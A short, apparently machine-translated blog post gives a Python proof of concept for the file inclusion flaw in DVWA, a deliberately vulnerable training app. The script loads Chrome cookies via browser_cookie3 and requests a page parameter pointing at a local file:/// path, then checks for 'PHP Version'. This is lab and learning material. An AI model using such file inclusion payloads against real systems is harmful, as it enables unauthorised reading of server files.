POC——DVWA‘s File Inclusion

Verification of file containing vulnerability POC Relatively simple , Only get Just visit . But there is a premise —— The file to be used has been transferred to the other server , And specify the location of the files used ~

import requests
import browser_cookie3

cookie = browser_cookie3.chrome()
url = r"http://192.168.117.130/DVWA-1.9/vulnerabilities/fi/?page=file:///C:\Users\wavesky\Desktop/1.txt"
response = requests.get(url=url,cookies=cookie)

re = 'PHP Version'
flag=re in str(response.content)

if flag:
    print("It looks likely vulnerable")
else:
    print("It is strong")

Three Level All possible , Go straight to the next one ~